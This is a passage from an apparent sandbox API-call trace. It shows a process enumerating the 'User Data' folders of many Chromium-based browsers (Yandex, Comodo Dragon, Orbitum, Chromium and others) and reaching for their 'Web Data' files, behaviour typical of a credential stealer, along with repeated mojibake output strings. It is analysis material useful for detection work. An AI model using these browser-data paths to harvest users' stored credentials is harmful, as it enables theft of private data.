ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0075.124] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0075.124] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0075.124] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0075.124] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.124] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.124] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.124] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.124] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0075.124] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.124] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.125] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.125] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.125] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0075.125] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.125] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.125] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.125] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0075.125] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.125] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.125] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.125] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0075.125] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.125] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.125] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.125] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0075.126] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.126] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.126] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.126] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0075.126] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.126] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.126] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.126] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0075.126] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.126] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.126] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.126] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0075.126] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 8 [0075.127] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.127] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.127] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", 